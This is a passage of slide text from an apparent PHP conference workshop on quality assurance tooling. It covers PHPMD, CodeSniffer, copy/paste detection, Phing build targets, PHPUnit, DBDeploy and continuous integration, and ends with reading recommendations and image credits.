    - over complicated expressions
    - unused parameters, methods and properties
    - wrongly named parameters, methods or properties

    View full-size slide

  142. PHPMD  in  ac>on

    View full-size slide

  143. PHP Copy/Paste
    Detection

    View full-size slide

  144. What?
    • detects similar code snippets
    - plain copy/paste work
    - similar code routines
    • indicates problems
    - maintenance hell
    - downward spiral of disasters
    • stimulates improvements
    - refactoring of code
    - moving similar code snippets in common routines

    View full-size slide

  145. PHP CodeSniffer

    View full-size slide

  146. Required evil
    • validates coding standards
    - consistency
    - readability
    • set as a policy for development
    • reports failures to meet the standard
    - sometimes good: parentheses on wrong line
    - mostly bad: line exceeds 80 characters
    ❖ but needed for terminal viewing of code
    • can be set as pre-commit hook
    - but can cause frustration!!!

    View full-size slide

  147. Performance Analysis

    View full-size slide

  148. https://twitter.com/#!/andriesss/status/189712045766225920

    View full-size slide

  149. Key reason
    “computers are great at doing repetitive tasks very well”

    View full-size slide

  150. Repetition
    • syntax checking
    • documenting
    • testing
    • measuring

    View full-size slide

  151. Why Phing?
    • php based (it’s already on our system)
    • open-source
    • supported by many tools
    • very simple syntax
    • great documentation

    View full-size slide

  152. Structure of a build

















    View full-size slide


















  153. Structure of a build

    View full-size slide


















  154. Structure of a build



    View full-size slide


















  155. Structure of a build





    View full-size slide


















  156. Structure of a build






    View full-size slide


















  157. Structure of a build

    View full-size slide

  158. build.properties
    project.title=WeCycle
    phpbook:qademo dragonbe$ cat build.properties
    # General settings
    project.website=http://wecycle.local
    project.title=WeCycle
    # AB Testing properties
    abrequests=1000
    abconcurrency=10

    View full-size slide

  159. local.properties
    project.website=http://qademo.local
    abrequests=1000
    abconcurrency=10
    db.username=qademo_user
    db.password=v3rRyS3crEt
    db.hostname=127.0.0.1
    db.dbname=qademo

    View full-size slide

  160. Let’s  run  it

    View full-size slide

  161. Artifacts
    • some tools provide output we can use later
    • called “artifacts”
    • we need to store them somewhere
    • so we create a prepare target
    • that creates these artifact directories (./build)
    • that gets cleaned every run

    View full-size slide

  162. Prepare for artifacts









    View full-size slide

  163. phpdoc2


    command="/usr/bin/phpdoc
    -d application/,library/In2it
    -e php -t ${project.basedir}/build/docs
    --title="${doc.title}""
    dir="${project.basedir}"
    passthru="true" />

    View full-size slide

  164. PHPUnit

    command="/usr/bin/phpunit
    --coverage-html ${project.basedir}/build/coverage
    --coverage-clover ${project.basedir}/build/logs/clover.xml
    --log-junit ${project.basedir}/build/logs/junit.xml"
    dir="${project.basedir}/tests"
    passthru="true" />

    View full-size slide

  165. PHP_CodeSniffer

    command="/usr/bin/phpcs
    --report=checkstyle
    --report-file=${project.basedir}/build/logs/checkstyle.xml
    --standard=Zend
    --extensions=php application library/In2it"
    dir="${project.basedir}"
    passthru="true" />

    View full-size slide

  166. Copy Paste Detection



    type="pmd"
    outfile="${project.basedir}/build/logs/pmd-cpd.xml" />


    View full-size slide

  167. PHP Mess Detection



    type="xml"
    outfile="${project.basedir}/build/logs/pmd.xml" />


    View full-size slide

  168. PHP Depend



    type="jdepend-xml"
    outfile="${project.basedir}/build/logs/jdepend.xml" />
    type="phpunit-xml"
    outfile="${project.basedir}/build/logs/phpunit.xml" />
    type="summary-xml"
    outfile="${project.basedir}/build/logs/pdepend-summary.xml" />
    type="jdepend-chart"
    outfile="${project.basedir}/build/pdepend/pdepend.svg" />
    type="overview-pyramid"
    outfile="${project.basedir}/build/pdepend/pyramid.svg" />


    View full-size slide

  169. PHP CodeBrowser

    command="/usr/bin/phpcb
    -l ${project.basedir}/build/logs
    -S php
    -o ${project.basedir}/build/browser"
    dir="${project.basedir}"
    passthru="true"/>

    View full-size slide

  170. Create a build procedure











    View full-size slide

  171. Other things to automate
    • server stress-testing with Apache Benchmark
    • database deployment with DBDeploy
    • package code base with Phar
    • transfer package to servers with
    - FTP/SFTP
    - scp/rsync
    • execute remote commands with SSH
    • … so much more

    View full-size slide

  172. Example DBDeploy


    name="dbscripts.dir"
    value="${project.basedir}/${dbdeploy.scripts}" />

    url="mysql:host=${db.hostname};dbname=${db.dbname}"
    userid="${db.username}"
    password="${db.password}"
    dir="${dbscripts.dir}/deltas"
    outputfile="${dbscripts.dir}/all-deltas.sql"
    undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/>

    url="mysql:host=${db.hostname};dbname=${db.dbname}"
    userid="${db.username}"
    password="${db.password}"
    src="${dbscripts.dir}/all-deltas.sql"/>

    View full-size slide

  173. Continuous Integration

    View full-size slide

  174. Deployment
    Build
    Development
    Versioning
    System
    Continuous
    Integration
    System
    ACC
    TEST
    DEV
    PROD
    Status
    Nightly builds
    Documentation
    Backup/Archive
    Build package
    wiki/PM tools
    Build
    - Unit tests
    - API docs
    - Code conventions
    - Software metrics

    View full-size slide

  175. Now you are a winner!

    View full-size slide

  176. Get your information
    in a consistent, automated way
    and make it accessible for the team

    View full-size slide

  177. More people can better safeguard
    the code!

    View full-size slide

  178. QA starts with YOU!

    View full-size slide

  179. Recommended  reading
    • the  PHP  QA  book
    -­‐ Sebas>an  Bergmann
    -­‐ Stefan  Priebsch

    View full-size slide

  180. Recommended  reading
    • The  Grumpy  Book
    -­‐ Chris  Hartjes

    View full-size slide

  181. Recommended  reading
    • OOD  Quality  Metrics
    -­‐ Robert  Cecil  Mar>n
    Free
    h4p://www.objectmentor.com/publica>ons/oodmetrc.pdf

    View full-size slide

  182. Michelangelo van Dam
    Certified Zend Engineer
    [email protected]
    (202) 559-7401
    @DragonBe
    2
    Contact us for
    consulting - training - QA
    www.in2it.be

    View full-size slide

  183. https://joind.in/6858
    Please leave feedback to make this workshop better

    View full-size slide

  184. PHP
    BENELUX
    CONFERENCE
    Antwerp  2013
    phpcon.eu

    View full-size slide

  185. Credits
    I’d like to thank the following people for sharing their creative commons pictures
    michelangelo: http://www.flickr.com/photos/dasprid/5148937451
    birds: http://www.flickr.com/photos/andyofne/4633356197
    safeguarding: http://www.flickr.com/photos/infidelic/4306205887/
    bugs: http://www.flickr.com/photos/goingslo/4523034319
    behaviour: http://www.flickr.com/photos/yuan2003/1812881370
    prevention: http://www.flickr.com/photos/robertelyov/5159801170
    progress: http://www.flickr.com/photos/dingatx/4115844000
    workout: http://www.flickr.com/photos/aktivioslo/3883690673
    measurement: http://www.flickr.com/photos/cobalt220/5479976917
    team spirit: http://www.flickr.com/photos/amberandclint/3266859324
    time: http://www.flickr.com/photos/freefoto/2198154612
    chris hartjes: http://www.flickr.com/photos/sebastian_bergmann/3341258964
    continuous reporting: http://www.flickr.com/photos/dhaun/5640386266
    deploy packages: http://www.flickr.com/photos/fredrte/2338592371
    race cars: http://www.flickr.com/photos/robdunckley/3781995277
    protection dog: http://www.flickr.com/photos/boltofblue/5724934828
    gears: http://www.flickr.com/photos/freefoto/5982549938
    1st place: http://www.flickr.com/photos/evelynishere/3417340248
    elephpant: http://www.flickr.com/photos/drewm/3191872515

    View full-size slide